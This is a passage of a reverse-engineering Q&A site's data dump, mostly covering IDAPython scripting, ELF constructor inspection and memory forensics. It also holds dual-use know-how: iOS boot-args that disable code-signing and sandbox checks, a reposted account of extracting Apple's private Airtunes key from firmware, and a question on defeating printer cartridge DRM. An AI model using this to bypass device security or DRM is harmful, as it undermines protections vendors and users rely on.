  <row Id="12787" PostTypeId="2" ParentId="12426" CreationDate="2016-06-02T23:39:38.953" Score="2" Body="&lt;p&gt;In iOS all sandboxing and security are handled by the &lt;strong&gt;&lt;a href=&quot;https://www.theiphonewiki.com/wiki/AppleMobileFileIntegrity&quot; rel=&quot;nofollow&quot;&gt;AppleMobileFileIntegrity&lt;/a&gt;&lt;/strong&gt; Kernel Extension&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As wat i know with Pod-Gizmo board you can pass the &lt;code&gt;amfi_get_out_of_my_way&lt;/code&gt; boot-arg and with this arg you will disable AppleMobileFileIntegrity so there will be no sandbox or signature checking &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amfi kext recognizes quite a few boot-args, including:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PE_i_can_has_debugger (see also patch)&#xA;&#xA;amfi_unrestrict_task_for_pid - Allowing the above to proceed even without entitlement&#xA;amfi_allow_any_signature - Allowing any digital signature on code, not just Apple's&#xA;amfi_get_out_of_my_way - disable amfi&#xA;cs_enforcement_disable - Disable code signing enforcement&#xA;cs_debug - Debug code signing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16280" LastActivityDate="2016-06-02T23:39:38.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12788" PostTypeId="1" AcceptedAnswerId="12847" CreationDate="2016-06-03T01:25:02.340" Score="2" ViewCount="1294" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NxwnG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NxwnG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;i have been working on a bug for almost a year trying to figure out how i can fix it.&#xA;the app is suppose to show some message like (&quot;Processing&quot;)to notify a user that the main function is executed, so since Delphi is easy to reverse with its strings. i have searched for encryption using Olly's SnD Crypto plugin and&#xA;i have found the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; CRC32(table)&#xA; CRC32b(table)&#xA; MD5&#xA; SHA1&#xA; SHA256&#xA; Base64 alphabet&#xA; Base64 alphabet(Unicode/VB)&#xA; ENIGMA encryption algorithm(WiteG)&#xA; RC4 encryption algorithm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;according to the plugin Enigma was used to protect two pieces in CODE section which i thought is hiding an Algorithm. &#xA;RC4 is protecting most pieces of the DATA sections probably the Base64 encoded strings so dealing with strings is a none start for me because if it wasn't like that i would look for a messagebox Api or Search for strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would like to Decrypt Enigma then simply follow through since the app is an email transporter i will know the function and in i will be able to see where the message should be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i decrypt ENIGIMA thats mostly my question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="13301" LastEditorUserId="13301" LastEditDate="2016-06-03T01:38:13.560" LastActivityDate="2016-06-15T02:21:13.590" Title="is it possible to decrypt Enigma and RC4 encryptions?" Tags="|encryption|decryption|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12791" PostTypeId="1" AcceptedAnswerId="12799" CreationDate="2016-06-03T05:25:38.893" Score="9" ViewCount="5125" Body="&lt;p&gt;I'm writing an IDA plugin using idapython in order to add comments (located in database) to variables of struct types. In order to do this, firstly, i need to get the list of cross-references to a given structure type (e.g. struct BITMAPINFO) which can be found in &quot;Structure&quot; subview in IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know IDA provides this function from version 6.2 by right-button mouse clicking on the structure name and selecting &quot;List cross references to&quot;. A window like the following will be popped-up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CBI7A.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBI7A.png&quot; alt=&quot;example: xrefs to BITMAPINFO picture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each item of the list in above picture is either an address where a global variable of type %structure name% (here is BITMAPINFO) is declared or a position where a local variable of type &quot;structure name&quot; is defined. The former is like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KxBT2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KxBT2.png&quot; alt=&quot;example: global variable definition of type GUID&quot;&gt;&lt;/a&gt;&#xA;(here is type GUID, not BITMAPINFO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter is like&#xA;&lt;a href=&quot;https://i.stack.imgur.com/McC7c.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/McC7c.png&quot; alt=&quot;example: local variable definition of type BITMAPINFO&quot;&gt;&lt;/a&gt;&#xA;This is the position where IDA declare local variables based on its identified type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is a way to get these data by IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This is different from cross-references to a(ll) member(s) of a struct type, which can be got by right-button mouse clicking on the structure member name, shown as the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XIcJe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XIcJe.png&quot; alt=&quot;example: XrefsTo GUID.DATA1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before asking here, i do it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#CODE 1&#xA;ea = idc.LocByName(%structure name%)  &#xA;&#xA;frm = [x.frm for x in idautils.XrefsTo(ea)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think i have got the whole list of cross-references to %structure name% using my above code. However, i found many EAs in the list seem like ineffective such as '0xff0052c9' (&lt;b&gt;MaxEA is 0x108f800&lt;/b&gt;). However, i guess my code has got the desired result because the length of returned list is equal to the number of items in the list shown as the 1st picture. But i can't explain the result especially the (seemingly) ineffective ones. Also, when i add comments to the addresses in the list using the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#CODE 2&#xA;for ea in xrefs_list:&#xA;    # each cross-reference to the given struc type&#xA;&#xA;    if repeatable:&#xA;        # add repeatable comment 'cmt' at address 'ea'&#xA;        idc.MakeRptCmt(ea, cmt)&#xA;&#xA;    else:&#xA;        # add comment  'cmt' at address 'ea'&#xA;        idc.MakeComm(ea, cmt)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i found i only added comments to the effective addresses which are between &lt;b&gt;idc.MinEA()&lt;/b&gt; and &lt;b&gt;idc.MaxEA()&lt;/b&gt;, and these addresses are places where global instances of the queried struct type are declared, as shown in the 2nd picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is my above code (CODE 1) correct to get all cross-references to a struct type?&#xA;  If it is, how to explain those seemingly ineffective addresses (above 0xFF000000)&lt;/li&gt;&#xA;  &lt;li&gt;How to add comments to other cross-reference addresses other than the references to global instances of the struct type? &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16284" LastEditorUserId="16284" LastEditDate="2016-06-08T02:47:55.697" LastActivityDate="2018-07-09T18:25:47.250" Title="How to get cross-references to a struct type in IDA by IDAPython and add comments to variables of the struct type" Tags="|ida|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12792" PostTypeId="2" ParentId="12776" CreationDate="2016-06-03T07:12:42.227" Score="0" Body="&lt;p&gt;@Karim's idea is right. Another thought is that your malware might be checking windows' registry debug flags. Since Olly runs dynamic analysis, your .exe recognises it and stops working if any changes applied during debugging proccess.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-06-03T07:12:42.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12793" PostTypeId="2" ParentId="6285" CreationDate="2016-06-03T09:02:05.017" Score="5" Body="&lt;p&gt;As Igor stated, the &lt;code&gt;.ctors&lt;/code&gt; section is a list of function pointers, ending with a sentinel value of &lt;code&gt;0xffffffff&lt;/code&gt;. To see its contents, just do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -s -j.ctors bar.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But your assembly file only contains weak symbols. Those are foreign functions in other libraries, and are invoked when their libraries are loaded at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, put this in a file &lt;code&gt;bar.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Foo {&#xA;public:&#xA;  int i;&#xA;&#xA;  Foo(int n) : i(n) {&#xA;  }&#xA;};&#xA;&#xA;Foo global_foo(123);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ g++ -shared -fPIC bar.cpp -obar.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of the &lt;code&gt;.init_array&lt;/code&gt; section is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -s -j.init_array bar.so&#xA;&#xA;bar.so:     file format elf64-x86-64&#xA;&#xA;Contents of section .init_array:&#xA; 200820 ad060000 00000000                    ........        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a function pointer there, &lt;code&gt;0xad060000 00000000&lt;/code&gt;. But you have to change its endianness, e.g. with Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import struct&#xA;&amp;gt;&amp;gt;&amp;gt; import binascii&#xA;&amp;gt;&amp;gt;&amp;gt; binascii.hexlify(struct.pack(&quot;&amp;lt;Q&quot;, 0xad06000000000000))&#xA;'00000000000006ad'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now list all symbols and grep for that address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -C --syms bar.so | grep 00000000000006ad&#xA;00000000000006ad l     F .text  0000000000000015&#xA;  [... on above line ...] global constructors keyed to bar.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly for it,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -C -d bar.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000006ad &amp;lt;global constructors keyed to bar.cpp&amp;gt;:&#xA; 6ad:   55                      push   %rbp&#xA; 6ae:   48 89 e5                mov    %rsp,%rbp&#xA; 6b1:   be ff ff 00 00          mov    $0xffff,%esi&#xA; 6b6:   bf 01 00 00 00          mov    $0x1,%edi&#xA; 6bb:   e8 ba ff ff ff          callq  67a &amp;lt;__static_initialization_and_destruction_0(int, int)&amp;gt;&#xA; 6c0:   c9                      leaveq &#xA; 6c1:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which jumps to &lt;code&gt;__static_initialization_and_destruction_0(int, int)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000000067a &amp;lt;__static_initialization_and_destruction_0(int, int)&amp;gt;:&#xA; 67a:   55                      push   %rbp&#xA; 67b:   48 89 e5                mov    %rsp,%rbp&#xA; 67e:   48 83 ec 10             sub    $0x10,%rsp&#xA; 682:   89 7d fc                mov    %edi,-0x4(%rbp)&#xA; 685:   89 75 f8                mov    %esi,-0x8(%rbp)&#xA; 688:   83 7d fc 01             cmpl   $0x1,-0x4(%rbp)&#xA; 68c:   75 1d                   jne    6ab &amp;lt;__static_initialization_and_destruction_0(int, int)+0x31&amp;gt;&#xA; 68e:   81 7d f8 ff ff 00 00    cmpl   $0xffff,-0x8(%rbp)&#xA; 695:   75 14                   jne    6ab &amp;lt;__static_initialization_and_destruction_0(int, int)+0x31&amp;gt;&#xA; 697:   be 7b 00 00 00          mov    $0x7b,%esi&#xA; 69c:   48 8b 05 9d 03 20 00    mov    0x20039d(%rip),%rax        # 200a40 &amp;lt;_DYNAMIC+0x1e8&amp;gt;&#xA; 6a3:   48 89 c7                mov    %rax,%rdi&#xA; 6a6:   e8 f5 fe ff ff          callq  5a0 &amp;lt;Foo::Foo(int)@plt&amp;gt;&#xA; 6ab:   c9                      leaveq &#xA; 6ac:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which puts 123 (&lt;code&gt;0x7b&lt;/code&gt;) on the stack and calls &lt;code&gt;Foo::Foo(int)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16286" LastActivityDate="2016-06-03T09:02:05.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12794" PostTypeId="2" ParentId="12782" CreationDate="2016-06-03T12:16:26.630" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Extract full memory area for each process&lt;/li&gt;&#xA;&lt;li&gt;In each process get TIB for each thread in the process&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow&quot;&gt;TIB&lt;/a&gt; will help you to get to the start/bottom of the stack memory area for each thread&lt;/li&gt;&#xA;&lt;li&gt;all of the above you can do with Volatility of Rekall. Go over respectful documentation for plugins (pstree, threads, procdump)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://librecrops.github.io/lost-sdk/&quot; rel=&quot;nofollow&quot;&gt;OS&lt;/a&gt; internal structs will also be helpful&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, if you can elaborate a little bit more on what are you trying to find. I'll probably will be give more specific instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2016-06-03T12:16:26.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12795" PostTypeId="1" CreationDate="2016-06-03T14:53:29.190" Score="8" ViewCount="5461" Body="&lt;p&gt;Is this stack only about reverse-engineering software and firmware? What about hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a few semi-industrial ink-jet printers (like $2,000 each so, whatever tier that means to you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has these special ink cartridges that have chips in them that don’t allow you to refill the cartridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have found a supplier that sells us replacement chips but they are still quite costly, and still one-time use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My boss has asked me to investigate if it is possible to find out a way to “manually reset&quot; these chips or otherwise reverse-engineer them with a solution that would not require us to keep buying more chips in order to refill the ink ourselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m not sure where to start on this.&lt;br&gt;&#xA;I’m not sure if the chips have some kind of encrypted communication with the printer rendering the entire plan infeasible.&lt;br&gt;&#xA;I’m not sure if the chips are one-time use because something physically changes internally that cannot be undone (if so, then could a replacement chip emulate this functionality, but be resettable?)&lt;br&gt;&#xA;I’m not sure on the legality of this endeavor either. Does this fall under break DRM? Can ink have DRM?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve already told my boss that this will likely be more hassle than it is worth in terms of time and the cost to pay a specialist to attempt to reverse engineer a solution. But, he still wants me to look into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My one advantage is that I am in Taiwan right now, and I could fly to China easily as well to find someone to do this kind of work. I feel like both those countries are prime candidates for having the technical capability and knowhow, the willingness and motivation to circumvent a product’s security features, and a lower cost of labor. But I’m also willing to entertain the idea of a single professional from any country helping me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea how I would go about starting this? How can I find a person or a firm in China or Taiwan willing to look into this problem?&lt;/p&gt;&#xA;" OwnerUserId="16289" LastActivityDate="2016-10-24T20:53:23.403" Title="reverse engineering a printer cartridge chip" Tags="|hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12796" PostTypeId="2" ParentId="3371" CreationDate="2016-06-03T21:20:35.603" Score="0" Body="&lt;p&gt;Like others have said, you might have to take the hardware route, and physically connect a Bus Pirate or similar device to dump the firmware.  When the device is running, you will get a decrypted firmware dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a series about this with an airport express, it's taken from this blog: &lt;a href=&quot;http://www.hsorbo.no/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hsorbo.no/&lt;/a&gt; but i will copy and paste the whole thing here because i don't trust this blog to stay online.  I've pieced in some photos using archive.org as well. Unfortunately the link to the key at the end is a dead link.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reverse engineering the Airport Express Part 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For quite some time I’ve wanted to reverse engineer the airport express base station. There are two reasons for this. The first is that within this firmware are the private Airtunes keys. The second and more important part, at least for me, is that it is almost identical to a wrt54g plus it adds usb and sound-card. Getting linux/openwrt running on this would be wicked cool. The main issue with reversing apples firmwares for these access points is that they are encrypted and the airport express decrypts the firmware when flashing so you can’t really do anything fun with the firmware-update files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A time back I posted on twitter that I needed a broken airport expresss! I go really lucky, a friend of mine saw the tweet and gave me his broken airport. I disassembled it and found out that the flash was AT45DB321B, which is nice because Atmel keeps their datasheet public, the not so good news was that it was BGA-mounted and my old soldering station wasn’t up for this. Everybody knows I’m a real ebay-whore, so I went to ebay and ordered this excellent hakko rework-station clone (YIHUA 852D+). This had the hot-air-gun that I needed. Here is a short video when I’m detaching the IC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After desoldering I glued it to a breadboard and hooked up some wires, this was a bit tricky as this is quite small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photo of flash [missing from blog]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After everything was hooked up, I attached it to my Bus Pirate and after a lot of trial and error managed to communicate with the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photo of my desk [missing from blog]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally i wrote this small python-script that dumped the content of the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m now in the possession of the unencrypted firmware for airport express, but still there are a lot of stuff remaing. The firmware is compressed, and I have had no success brute-force inflating it, so I may have to start reverse-engineering the bootloader just to get to the uncompressed firmware. Another option could be running it under qemu, the decompression-part that is, should be fairly generic MIPS-code. A third option would be to flash it on my wrt54g and do jtag-debugging, if I’m really lucky I’d get serial-port and bootloader on the linksys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot for options going forward, I’ll post a new blog-entry when I make further progress. Please excuse the bad language in this post, I don’t want to spend time on grammar now that I have this very sexy binary blob right in front of me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy hacking!&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reverse engineering the Airport Express Part 2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;23 February 2010&#xA;Yesterday I was analyzing my firmware-dump and I couldn’t make sense of very much. One thing that got my attention was that scattered around the firmware-dump were a lot of 0xFF. I Found a pattern, and I tried to convince myself that this was some sort of container or padding between important chunks of data. Then as the night approached BOOM, it hit me. The pattern was like this: 512 bytes of data, 16 bytes of 0xFF, 512 bytes of data and 16 bytes of 0xFF. This was significant and here is the problem/solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flash chip on AT45DB321B is like a book with 8192 pages and 528 letters on each page. When I dumped it my program just read through the book carefully noting every letter. Now the airport express doesn’t do it this way, the airport just turns to the page it wants and reads what is needed (random access). Now there is one other limitation, the Airport Express doesn’t read more than 512 letters from each page. This means that he doesn’t care about the last 16 letters I have been carefully putting into my dump/analysis. I Fixed this and my brute-force decopression-program (15 line python script) found both the bootloader and the main firmware. Their md5-sums are: ff4c561a6dcce8686749594d84ff4e7d and 7db70daf035f085eb455d8de3c2099fb. A guy name James seems to have done the deployment of this firmware :) I think all that remains now is spending time with IDA Pro. I need to get a memory alignment as the start address of memory seems to be 0x8000000 + some offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot of the strings-window in IDA Pro (strings used in the Airtunes authentication):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QQPsO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QQPsO.png&quot; alt=&quot;Screenshot of strings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really think this discovery makes for part 2 as I now am pretty sure the rest is doable, albeit time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I had to replace every occurence of dump with firmware-dump as the text became very questionable&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reverse engineering the Airport Express Part 3&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;26 February 2010&#xA;A small update. Memory alignment took a few hours. I did this by dumping a lot of the string offsets in the firmware using standard unix console tools: strings -n 10 -o | grep &quot;Audio&quot; | awk '{print $2}' I then wrote a IDA script that dumped all load operation offsets, made a second script that brute-forced matching the offsets. The best match was 0x80010000 and not to anybody’s surprise this made IDA pro very happy and she started auto analyzing the firmware. Here is a screen shot of the memory-offsets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IlUgl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IlUgl.png&quot; alt=&quot;IDA memory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a in-action screen shot of IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sNeFr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNeFr.png&quot; alt=&quot;IDA action&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve done a good amount of reversing and everything is going well, still have no ETA on anything though. Subscribe to the blog or check back after the weekend if you are curious.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reverse engineering the Airport Express Part 4&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;11 April 2011&#xA;The RAOP/Airtunes key is here &lt;a href=&quot;http://static.hsorbo.no/0xff/airtunes.pem&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://static.hsorbo.no/0xff/airtunes.pem&lt;/a&gt; Although i have had the key for quite some time it was first made public here: &lt;a href=&quot;http://www.mafipulation.org/blagoblig/2011/04/08#shairport&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mafipulation.org/blagoblig/2011/04/08#shairport&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16294" LastActivityDate="2016-06-03T21:20:35.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12797" PostTypeId="1" CreationDate="2016-06-03T22:43:40.150" Score="3" ViewCount="2471" Body="&lt;p&gt;I installed IDA Demo today, however I'm having a bit of trouble installing plugins. I'm trying to install a plugin called 'ClassInformer'. I followed all the instructions, editing the plugins.cfg file, copying the files to the plugin folder. However when I boot up IDA it gives me these errors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LoadLibrary(C:\Program Files (x86)\IDA Demo 6.9\plugins\IDA_ClassInformer_PlugIn.pLW) error: The specified module could not be found.&#xA;C:\Program Files (x86)\IDA Demo 6.9\plugins\IDA_ClassInformer_PlugIn.pLW: can't load file&#xA;&#xA;LoadLibrary(C:\Program Files (x86)\IDA Demo 6.9\plugins\IDA_ClassInformer_PlugIn.pLW) error: The specified module could not be found.&#xA;C:\Program Files (x86)\IDA Demo 6.9\plugins\IDA_ClassInformer_PlugIn.pLW: can't load file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However the files are in the correct folder so I don't know why they can't be found. Here's a picture of the children of the folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bnaYi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Folder Children&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16296" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-06-03T22:47:36.263" Title="IDA LoadLibraryError" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12798" PostTypeId="1" AcceptedAnswerId="12916" CreationDate="2016-06-04T01:46:09.027" Score="4" ViewCount="317" Body="&lt;p&gt;I am looking to use scanmem to change in game credits in the new Master of Orion (2016). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I have taken: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install and run scanmem as root &lt;/li&gt;&#xA;&lt;li&gt;Track credits successfully using scanmem &lt;/li&gt;&#xA;&lt;li&gt;It accurately tracks between 1 and 3 variables that exactly match the  ingame credits. &lt;/li&gt;&#xA;&lt;li&gt;However when I change 1 or all of them, it does not change the actual credits in the game.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was going to try Ugtrain but they specifically ask you not to use there product with Steam, so I won't be doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just doing this for fun, if anyone can help it would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16297" LastEditorUserId="15017" LastEditDate="2016-06-04T10:56:48.533" LastActivityDate="2016-06-23T11:39:23.070" Title="Master of Orion and scanmem" Tags="|linux|memory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12799" PostTypeId="2" ParentId="12791" CreationDate="2016-06-04T14:25:14.503" Score="7" Body="&lt;h2&gt;Stack Variable References&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The xrefs you are showing are xrefs from stack variables. As you mentioned, when trying to get the xrefs to the struct, you get two types of results:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Valid addresses, which are struct instances in the data section&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xFF000000&lt;/code&gt; and above addresses, where the struct is used as a stack variable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In IDA the stack variables for a function are represented internally as a struct, with each stack variable a member of that struct.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;idaman struc_t *ida_export get_frame(const func_t *pfn);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/frame_8hpp.html#a538eae24587b7931ea67d9d110d68193&quot; rel=&quot;noreferrer&quot;&gt;Docs link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that, we can infer that the weird xrefs are member-ids (which they are). To get the names of the containing structs we use &lt;code&gt;fullname = idaapi.get_member_fullname(mid)&lt;/code&gt; and get something like &lt;code&gt;$ F4014B0.var_14&lt;/code&gt;.&#xA;&lt;code&gt;$ F4014B0&lt;/code&gt; is the netnode name of the stack-frame struct for the function at &lt;code&gt;0xF4014B0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;import idaapi&#xA;import idautils&#xA;&#xA;sid = idc.GetStrucIdByName('my-struct-name')&#xA;for xref in idautils.XrefsTo(sid):&#xA;    if 0xFF000000 &amp;gt; xref.frm:&#xA;        # The struct is used as data&#xA;        print 'Data xref from 0x{:X}'.format(xref.frm)&#xA;    else:&#xA;        # The struct is used as a stack variable.&#xA;        mid = xref.frm&#xA;        fullname = idaapi.get_member_fullname(mid)&#xA;        function_ea = int(fullname[2:].split('.')[0], 0x10)&#xA;        print 'Stack xref from 0x{:X}'.format(function_ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Getting Xrefs to member Variables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(This is here because it was my initial answer, and it contains valuable information.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were really close to the solution. Your code gives you the &lt;code&gt;sid&lt;/code&gt;, so you only get references to the struct itself. What you need, is references to the different members, and this can be done using the &lt;code&gt;mid&lt;/code&gt;. You can get it using fully-qualified member names. However, since there are many members to every struct, enumerating them is usually a better choice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;import idautils&#xA;&#xA;def get_member_ids(sid):&#xA;    offset = 0&#xA;    while offset != 0xFFFFFFFF:&#xA;        mid = idc.GetMemberId(sid, offset)&#xA;        if mid != -1:&#xA;            yield mid&#xA;        offset = idc.GetStrucNextOff(sid, offset)&#xA;&#xA;&#xA;def get_member_xrefs(struc_name):&#xA;    sid = 